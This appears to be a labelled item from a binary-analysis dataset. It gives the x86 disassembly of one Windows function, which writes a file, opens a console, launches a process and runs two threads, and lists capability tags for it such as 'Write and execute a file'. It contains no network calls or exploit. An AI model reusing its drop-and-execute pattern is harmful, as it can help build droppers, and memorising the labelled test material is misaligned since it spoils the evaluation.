Function at 0x40e40c
Capabilities:
Create process on windows
Create thread
Get common file path
Get comspec environment variable
Manipulate console buffer
Query environment variable
Terminate process
Terminate thread
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd60
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], eax
mov dword [ebp - 0x298], eax
mov dword [ebp - 4], eax
mov ebx, 0x490d08
xor eax, eax
push ebp
push 0x40e83c
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebx], 1
call fcn.0040521c
fmul dword [0x40e84c]
fstp qword [ebp - 0x10]
wait
fld qword [ebp - 0x10]
call fcn.00402830
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
lea edx, [ebx + 8]
mov eax, 2
call fcn.004027c0
mov edx, 0x492c78
mov eax, 3
call fcn.004027c0
mov eax, dword [0x492c78]
call fcn.00403bf0
test eax, eax
jle 0x40e4cf
mov eax, dword [0x492c78]
cmp byte [eax], 0x22
jne 0x40e4cf
mov eax, dword [0x492c78]
call fcn.00403bf0
mov edx, dword [0x492c78]
cmp byte [edx + eax - 1], 0x22
jne 0x40e4cf
push 0x492c78
mov eax, dword [0x492c78]
call fcn.00403bf0
mov ecx, eax
sub ecx, 2
mov edx, 2
mov eax, dword [0x492c78]
call fcn.00403e48
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x298]
call fcn.00404c54
mov ecx, dword [ebp - 0x298]
lea eax, [ebx + 4]
mov edx, 0x40e858
call fcn.00403c3c
lea edx, [ebp - 0x28]
mov eax, dword [ebx + 4]
call fcn.00405d78
test al, al
je 0x40e816
push 0x8000
push 0
mov eax, dword [ebp - 0x28]
push eax
call sub.kernel32.dll_VirtualFree_1
mov eax, dword [0x490ac0]
mov dword [ebx + 0x10], eax
push 0
push 0x80
push 3
push 0
push 1
push 0x40000000
mov eax, dword [ebx + 8]
call fcn.00403df0
push eax
call sub.kernel32.dll_CreateFileA_1
mov esi, eax
mov dword [ebx + 0xc], esi
cmp esi, 0xffffffff
je 0x40e80d
push 0
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebx + 4]
call fcn.00403bf0
push eax
lea eax, [ebx + 4]
call fcn.00403e40
push eax
push esi
call sub.kernel32.dll_WriteFile_1
call sub.kernel32.dll_AllocConsole
push 0xfffffffffffffff6
call sub.kernel32.dll_GetStdHandle_1
mov dword [ebx + 0x14], eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
mov dword [ebx + 0x18], eax
mov word [ebx + 0x1c], 0x50
mov word [ebx + 0x1e], 0x19
push dword [ebx + 0x1c]
mov eax, dword [ebx + 0x18]
push eax
call sub.kernel32.dll_SetConsoleScreenBufferSize
mov word [ebx + 0x24], 0
mov word [ebx + 0x26], 0
mov word [ebx + 0x28], 0x4f
mov word [ebx + 0x2a], 0x18
lea eax, [ebx + 0x24]
push eax
push 0xffffffffffffffff
mov eax, dword [ebx + 0x18]
push eax
call sub.kernel32.dll_SetConsoleWindowInfo
push 0
push 0x404a48
call sub.kernel32.dll_SetConsoleCtrlHandler
push 0xffffffffffffffff
push 0x40e068
call sub.kernel32.dll_SetConsoleCtrlHandler
push 0
push 0
call sub.kernel32.dll_SetConsoleCtrlHandler
lea eax, [ebx + 0x2c]
mov edx, 0x1f40
xor ecx, ecx
call fcn.00402c08
mov word [ebx + 0x20], 0
mov word [ebx + 0x22], 0
lea eax, [ebx + 0x24]
push eax
push dword [ebx + 0x20]
push dword [ebx + 0x1c]
lea eax, [ebx + 0x2c]
push eax
mov eax, dword [ebx + 0x18]
push eax
call sub.kernel32.dll_WriteConsoleOutputA
push dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
push eax
call sub.kernel32.dll_SetConsoleCursorPosition
push 0x105
lea eax, [ebp - 0x181]
push eax
push 0x40e870
call sub.kernel32.dll_GetEnvironmentVariableA
lea eax, [ebp - 0x286]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 4]
lea edx, [ebp - 0x286]
mov ecx, 0x105
call fcn.00403bd8
lea eax, [ebp - 4]
call fcn.00405590
lea eax, [ebp - 4]
mov edx, dword [0x492c78]
call fcn.00403bf8
mov eax, dword [ebp - 4]
call fcn.0040534c
test al, al
je 0x40e685
mov eax, dword [ebp - 4]
call fcn.0040526c
lea eax, [ebp - 0x29c]
lea edx, [ebp - 0x181]
mov ecx, 0x105
call fcn.00403bd8
mov eax, dword [ebp - 0x29c]
mov cl, 1
mov edx, dword [ebp - 4]
call fcn.004052d0
mov eax, dword [ebp - 4]
call fcn.0040534c
test al, al
jne 0x40e6ca
lea eax, [ebp - 4]
lea edx, [ebp - 0x181]
mov ecx, 0x105
call fcn.00403bd8
lea eax, [ebp - 0x7c]
mov edx, 0x44
xor ecx, ecx
call fcn.00402c08
xor eax, eax
mov dword [ebx + 0x1f6c], eax
mov dword [ebp - 0x7c], 0x44
mov dword [ebp - 0x50], 1
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x7c]
push eax
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403df0
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x40e729
mov eax, dword [ebp - 0x38]
mov dword [ebx + 0x1f6c], eax
mov eax, dword [ebp - 0x34]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebx + 0x1f6c], 0
je 0x40e7c7
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0x40e074
push 0
push 0
call sub.kernel32.dll_CreateThread
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push 0
push 0
push 0x40e2e0
push 0
push 0
call sub.kernel32.dll_CreateThread
test esi, esi
je 0x40e7c7
test eax, eax
je 0x40e7c7
mov edx, dword [ebx + 0x1f6c]
mov dword [ebp - 0x294], edx
mov dword [ebp - 0x290], esi
mov dword [ebp - 0x28c], eax
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x294]
push eax
push 3
call sub.kernel32.dll_WaitForMultipleObjects
mov byte [ebx], 0
push 0
mov eax, dword [ebx + 0x1f6c]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, 0x12c
call fcn.00405000
push 0
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_TerminateThread
push 0
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_TerminateThread
mov eax, 0x12c
call fcn.00405000
lea eax, [ebp - 0x2a0]
lea edx, [ebp - 0x181]
mov ecx, 0x105
call fcn.00403bd8
mov eax, dword [ebp - 0x2a0]
mov edx, dword [ebp - 4]
call fcn.00403d3c
je 0x40e7ff
mov eax, dword [ebp - 4]
call fcn.0040526c
mov eax, dword [ebx + 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
call sub.kernel32.dll_FreeConsole
mov eax, dword [ebx + 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e843
lea eax, [ebp - 0x2a0]
mov edx, 3
call fcn.00403a90
lea eax, [ebp - 4]
call fcn.00403a6c
ret